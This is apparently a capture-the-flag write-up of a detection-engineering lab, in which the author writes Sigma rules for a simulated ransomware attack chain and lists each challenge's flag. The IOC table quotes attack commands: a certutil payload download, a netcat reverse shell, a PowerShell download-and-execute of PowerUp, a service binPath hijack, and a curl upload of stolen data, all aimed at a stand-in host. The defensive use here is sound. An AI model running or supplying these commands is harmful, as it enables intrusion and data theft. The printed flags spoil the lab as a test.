

SigHunt

Introduction

This room aims to be a supplementary room for Sigma rule creation. In this scenario, you will act as one of the Detection Engineers that will craft Sigma Rules based on the Indicators of Compromise (IOCs) collected by your Incident Responders.

Prerequisites

This room requires basic knowledge of detection engineering and Sigma rule creation. We recommend going through the following rooms before attempting this challenge.

- [Intro to Detection Engineering](#)
- [Sigma](#)

SigHunt Interface

Before we proceed, deploy the attached machine in this task since it may take up to 3-5 minutes to initialize the services.

Then, use this link to access the interface - `http://MACHINE_IP`

How to use the SigHunt Interface:


- [Run](#) - Submit your Sigma rule and see if it detects the malicious IOC.
- [Text Editor](#) - Write your Sigma rule in this section.
- [Create Rule](#) - Create a Sigma rule for the malicious IOC.
- [View Log](#) - View the log details associated with the malicious IOC.

\$ suspicious_mshta_execution.yml

```















1 title: #Title of your rule
2 id: #Universally Unique Identifier (UUID) Generate one from https://www
   .uuidgenerator.net
3 status: #Stage of your rule testing
4 description: #Details about the detection intentions of the rule.
5 author: #Who wrote the rule.
6 date: #When was the rule written.
7 modified: #When was it updated
8 logsource:
9   product: windows
10  service: sysmon
11 detection:
12   selection:
13     - FieldName1: #Search identifiers for the detection. Refer to the required
       fields provided in the task.
14       - Value
15     - FieldName2:
16       - Value
17   condition: selection #Action to be taken. Can use condition operators such
       as OR, AND, NOT,
18 fields: #List of associated fields that are important for the detection
19
20 falsepositives: #Any possible false positives that could trigger the rule.
21
22 level: medium #Severity level of the detection rule.
23 tags: #Associated TTPs from MITRE ATT&CK
24     - attack.credential_access #MITRE Tactic
25     - attack.t1110 #MITRE Technique
26

```

Submit your Sigma Rule → 

View log entry related to the malicious activity →

Attack Chain Details

Challenge	Create Rule	View Log
Challenge #1: Malicious mshta	 Create Rule	 View Log
Challenge #2: Certutil Download	 Create Rule	 View Log
Challenge #3: Netcat Execution	 Create Rule	 View Log
Challenge #4: PowerUp Enumeration	 Create Rule	 View Log
Challenge #5: Service Binary Modification	 Create Rule	 View Log
Challenge #6: RunOnce Persistence	 Create Rule	 View Log
Challenge #7: 7z Archive Collection	 Create Rule	 View Log
Challenge #8: Curl Data Exfiltration	 Create Rule	 View Log
Challenge #9: Ransomware File Encryption	 Create Rule	 View Log

Create Sigma Rule for the malicious activity →

View log entry related to the malicious activity →

Text Editor for Sigma Rules

Huntme Incident Scenario

You are hired as a Detection Engineer for your organization. During your first week, a ransomware incident has just concluded, and the Incident Responders of your organization have successfully mitigated the threat. With their collective effort, the Incident Response (IR) Team provided the IOCs based on their investigation. Your task is to create Sigma rules to improve the detection capabilities of your organization and prevent future incidents similar to this.

Indicators of Compromise

Based on the given incident report, the Incident Responders discovered the following attack chain:

- Execution of malicious HTA payload from a phishing link.
- Execution of Certutil tool to download Netcat binary.
- Netcat execution to establish a reverse shell.
- Enumeration of privilege escalation vectors through PowerUp.ps1.
- Abused service modification privileges to achieve System privileges.
- Collected sensitive data by archiving via 7-zip.
- Exfiltrated sensitive data through cURL binary.
- Executed ransomware with huntme as the file extension.

In addition, the Incident Responders provided a table of IOCs at your disposal.

Attack Technique	Indicators of Compromise
HTA Payload	Parent Image: chrome.exe Image: mshta.exe Command Line: C:\Windows\SysWOW64\mshta.exe C:\Users\victim\Downloads\update.hta
Certutil Download	Image: certutil.exe Command Line: certutil -urlcache -split -f http://huntmeplz.com/ransom.exe ransom.exe
Netcat Reverse Shell	Image: nc.exe Command Line: C:\Users\victim\AppData\Local\Temp\nc.e xe huntmeplz.com 4444 -e cmd.exe MD5 Hash: 523613A7B9DFA398CBD5EBD2DD0F4F 38
PowerUp Enumeration	Image: powershell.exe Command Line: powershell "iex(new-object net.webclient).downloadstring('http://hunt meplz.com/PowerUp.ps1'); Invoke-AllChecks;"
Service Binary Modification	Image: sc.exe Command Line: sc.exe config SNMPTRAP binPath= "C:\Users\victim\AppData\Local\Temp\rev. exe huntmeplz.com 4443 -e cmd.exe"
RunOnce Persistence	Image: reg.exe Command Line: reg add "HKEY_LOCAL_MACHINE\Software\Micr osoft\Windows\CurrentVersion\RunOnce" /v MicrosoftUpdate /t REG_SZ /d

	"C:\Windows\System32\cmd.exe"
7-Zip Collection	Image: 7z.exe Command Line: 7z a exfil.zip * -p
cURL Exfiltration	Image: curl.exe Command Line: curl -d @exfil.zip http://huntmeplz.com:8080/
Ransomware File Encryption	Image: ransom.exe Target Filename: *.huntme

Rule Creation Standards

The Detection Engineering Team follows a standard when creating a Sigma Rule. You may refer to the guidelines below.

Attack Technique	Required Detection Fields
HTA Payload	<ul style="list-style-type: none"> - EventID - ParentImage - Image
Curtutil Download	<ul style="list-style-type: none"> - EventID - Image - CommandLine
Netcat Reverse Shell	<ul style="list-style-type: none"> - EventID - Image - CommandLine - Hashes
PowerUp Enumeration	<ul style="list-style-type: none"> - EventID - Image - CommandLine
Service Binary Modification	<ul style="list-style-type: none"> - EventID - Image - CommandLine
RunOnce Persistence	<ul style="list-style-type: none"> - EventID - Image - CommandLine

7-Zip Collection	<ul style="list-style-type: none"> - EventID - Image - CommandLine
cURL Exfiltration	<ul style="list-style-type: none"> - EventID - Image - CommandLine
Ransomware File Encryption	<ul style="list-style-type: none"> - EventID - TargetFilename

Answer the questions below:

What is the Challenge #1 flag?

Successfully detected malicious mshta execution. Here is your flag - THM{ph1sh1ng_msht4_101}

\$ suspicious_mshta_execution.yml

Run ▶

```

1 title: Malicious MSHTA
2 id: 118cdcb1-456d-4866-90a1-1c662fb92aa6
3 status: test
4 description: HTA Payload download
5 author: #Who wrote the rule.
6 date: 07/17/2025
7 modified: #When was it updated
8 logsource:
9   product: windows
10  service: sysmon
11 detection:
12  selection:
13    EventID: 1
14    ParentImage: C:\Program Files\Google\Chrome\Application\chrome.exe
15    Image: C:\Windows\SysWOW64\mshta.exe
16    condition: selection #Action to be taken. Can use condition operators such as OR, AND, NOT,
17  fields: #List of associated fields that are important for the detection
18
19 falsepositives: #Any possible false positives that could trigger the rule.
20
21 level: medium #Severity level of the detection rule.
22 tags: #Associated TTPs from MITRE ATT&CK
23

```

For the title I just used the title of the challenge found on the right hand side of the SigHunt website, for ID I used the UUID generator referenced in the comments of the SigHunt website. For the three fields I used the ones that were required in the table above for the HTA Payload and found the related values in the logs on the website.

Answer: **THM{ph1sh1ng_msht4_101}**

What is the Challenge #2 flag?

Successfully detected suspicious certutil download. Here is your flag - THM{n0t_just_4_c3rts}

\$ suspicious_mshta_execution.yml

Run ▶

```
1 title: Certutil Download
2 id: a2fff091-7826-4d64-9100-2f477f974b81
3 status: test
4 description: Certutil Download
5 author: #Who wrote the rule.
6 date: 07/17/2025
7 modified: #When was it updated
8 logsource:
9   product: windows
10  service: sysmon
11 detection:
12  selection:
13    EventID: 1
14    Image|endswith:
15      - "certutil.exe"
16    CommandLine|contains|all:
17      - "certutil"
18      - "-urlcache"
19      - "-split"
20      - "-f"
21  condition: selection #Action to be taken. Can use condition operators such as OR, AND, NOT,
22  fields: #List of associated fields that are important for the detection
23
24  falsepositives: #Any possible false positives that could trigger the rule.
25
26  level: medium #Severity level of the detection rule.
27  tags: #Associated TTPs from MITRE ATT&CK
```

When it came to the image and commandline values in this one I tried just pasting from the logs like in the first question but got a “too specific” error so I had to break it down into more generic chunks.

Answer: THM{n0t_just_4_c3rts}

What is the Challenge #3 flag?

Successfully detected netcat reverse shell execution. Here is your flag - THM{cl4ss1c_n3tc4t_r3vs}

\$ suspicious_mshta_execution.yml

Run ▶

```
1 title: Netcat Execution
2 id: 43658520-48c2-4312-9857-e47c6112123d
3 status: test
4 description: Netcat Reverseshell Execution
5 author: #Who wrote the rule.
6 date: 07/17/2025
7 modified: #When was it updated
8 logsource:
9   product: windows
10  service: sysmon
11 detection:
12  selection1:
13    EventID: 1
14    Image|endswith: "nc.exe"
15    CommandLine|contains|all:
16      - "-e "
17  selection2:
18    Hashes|contains: "523613A7B9DFA398CBD5EBD2DD0F4F38"
19  condition: selection1 or selection2 #Action to be taken. Can use condition operators such as
20    OR, AND, NOT,
21  fields: #List of associated fields that are important for the detection
22  falsepositives: #Any possible false positives that could trigger the rule.
23  level: medium #Severity level of the detection rule.
24  tags: #Associated TTPs from MITRE ATT&CK
25
26
```

For this one I had to go back and look at the documentation to how to add hashes. At first I tried adding it as just another field under selection 1 but that wasn't working so I separated it into another selection field and that did the trick. I also was having trouble with the -e value because the site kept saying "required value: -e" and I had it in the rule but I learned I had to add spaces between the quotes for it to register.

Answer: THM{cl4ss1c_n3tc4t_r3vs}

What is the Challenge #4 flag?

Successfully detected enumeration using PowerUp. Here is your flag - THM{p0wp0wp0w3rup_3num}

\$ powerup_enumeration.yml

Run ▶

```
1 title: PowerUp Enumeration
2 id: 52b11c56-d64e-47c1-bbf1-3a6e85214e6e
3 status: test
4 description: PowerUp Enumeration
5 author: #Who wrote the rule.
6 date: 07/17/2025
7 modified: #When was it updated
8 logsource:
9   product: windows
10  service: sysmon
11 detection:
12   selection:
13     EventID: 1
14     Image|endswith: "powershell.exe"
15     CommandLine|contains|all:
16       - "PowerUp"
17       - "Invoke-AllChecks"
18   condition: selection #Action to be taken. Can use condition operators such as OR, AND, NOT,
19 fields: #List of associated fields that are important for the detection
20
21 falsepositives: #Any possible false positives that could trigger the rule.
22
23 level: medium #Severity level of the detection rule.
24 tags: #Associated TTPs from MITRE ATT&CK
25
```

Answer: THM{p0wp0wp0w3rup_3num}

What is the Challenge #5 flag?

Successfully detected service binary modification. Here is your flag - THM{ov3rpr1v1l3g3d_s3rv1c3}

\$ powerup_enumeration.yml

Run ▶

```
1 title: Service Binary Modification
2 id: 64925075-4d84-4979-8812-ca679fd69693
3 status: test
4 description: Service Binary Modification
5 author: #Who wrote the rule.
6 date: 07/17/2025
7 modified: #When was it updated
8 logsource:
9   product: windows
10  service: sysmon
11 detection:
12   selection:
13     EventID: 1
14     Image|endswith: "sc.exe"
15     CommandLine|contains|all:
16       - " binPath= "
17       - " config "
18   condition: selection #Action to be taken. Can use condition operators such as OR, AND, NOT,
19 fields: #List of associated fields that are important for the detection
20
21 falsepositives: #Any possible false positives that could trigger the rule.
22
23 level: medium #Severity level of the detection rule.
24 tags: #Associated TTPs from MITRE ATT&CK
25
```

Answer: THM{ov3rpr1v1l3g3d_s3rv1c3}

What is the Challenge #6 flag?

SigHunt

Successfully detected persistence on RunOnce registry key. Here is your flag - THM{h1d3_m3_1n_run0nc3}

\$ powerup_enumeration.yml

Run ▶

Atti

1	title: RunOnce Persistence	
2	id: 1d778350-61d4-4f2b-a423-0e9eb8271ecf	Cha
3	status: test	
4	description: RunOnce Persistence	
5	author: #Who wrote the rule.	
6	date: 07/17/2025	Cha
7	modified: #When was it updated	
8	logsource:	
9	product: windows	
10	service: sysmon	
11	detection:	Cha
12	selection:	
13	EventID: 1	
14	Image endswith: "reg.exe"	
15	CommandLine contains all:	Cha
16	- "add"	
17	- "RunOnce"	
18	condition: selection #Action to be taken. Can use condition operators such as OR, AND, NOT,	
19	fields: #List of associated fields that are important for the detection	Cha
20		
21	falsepositives: #Any possible false positives that could trigger the rule.	
22		
23	level: medium #Severity level of the detection rule.	
24	tags: #Associated TTPs from MITRE ATT&CK	Cha
25		

Answer: THM{h1d3_m3_1n_run0nc3}

What is the Challenge #7 flag?

Successfully detected 7z archive attempt. Here is your flag - THM{c0ll3ct1ng_7z_ftw}

\$ powerup_enumeration.yml

Run ▶

```
1 title: 7z Archive Collection
2 id: b7158458-f0e9-4f91-8bf2-a917b19967d7
3 status: test
4 description: 7z Archive Collection
5 author: #Who wrote the rule.
6 date: 07/17/2025
7 modified: #When was it updated
8 logsource:
9   product: windows
10  service: sysmon
11 detection:
12  selection:
13    EventID: 1
14    Image|endswith: "7z.exe"
15    CommandLine|contains|all:
16      - "7z"
17      - "a"
18      - "p"
19  condition: selection #Action to be taken. Can use condition operators such as OR, AND, NOT,
20  fields: #List of associated fields that are important for the detection
21
22 falsepositives: #Any possible false positives that could trigger the rule.
23
24 level: medium #Severity level of the detection rule.
25 tags: #Associated TTPs from MITRE ATT&CK
26
```

Answer: THM{c0ll3ct1ng_7z_ftw}

What is the Challenge #8 flag?

Successfully detected exfiltration via curl.exe. Here is your flag - THM{cUrling_0n_w1nd0ws}

\$ powerup_enumeration.yml

Run ▶

```
1 title: cURL Data Exfiltration
2 id: 8cea6fa6-b542-4f87-952d-1a86d25ce44c
3 status: test
4 description: cURL Data Exfiltration
5 author: #Who wrote the rule.
6 date: 07/17/2025
7 modified: #When was it updated
8 logsource:
9   product: windows
10  service: sysmon
11 detection:
12  selection:
13    EventID: 1
14    Image|endswith: "curl.exe"
15  CommandLine|contains|all:
16    - "curl"
17    - "-d "
18  condition: selection #Action to be taken. Can use condition operators such as OR, AND, NOT,
19  fields: #List of associated fields that are important for the detection
20
21 falsepositives: #Any possible false positives that could trigger the rule.
22
23 level: medium #Severity level of the detection rule.
24 tags: #Associated TTPs from MITRE ATT&CK
25
```

Answer: THM{cUrling_0n_w1nd0ws}

What is the Challenge #9 flag?

Successfully detected ransomware file encryption with huntme extension. Here is your flag - THM{huntm3_pl34s3}

\$ ransomware_file_encryption.yml

Run ▶

Attack Cl

```
1 title: Ransomware File Encryption
2 id: 133f6634-7c5c-4a6c-bcee-86b0232ec02d
3 status: test
4 description: Ransomware File Encryption
5 author: #Who wrote the rule.
6 date: 07/17/2025
7 modified: #When was it updated
8 - logsource:
9   product: windows
10  service: sysmon
11 - detection:
12   selection:
13     EventID: 11
14     TargetFilename: '*.huntme'
15   condition: selection #Action to be taken. Can use condition operators such as OR, AND, NOT,
16 fields: #List of associated fields that are important for the detection
17
18 falsepositives: #Any possible false positives that could trigger the rule.
19
20 level: medium #Severity level of the detection rule.
21 tags: #Associated TTPs from MITRE ATT&CK
22   - attack.credential_access #MITRE Tactic
23   - attack.t1110 #MITRE Technique
24
```

Challenge #1

Challenge #2

Challenge #3

Challenge #4

Challenge #5

Challenge #6

This one was the most different out of all the challenges, requiring a different EventID and the target file name.

Answer: THM{huntm3_pl34s3}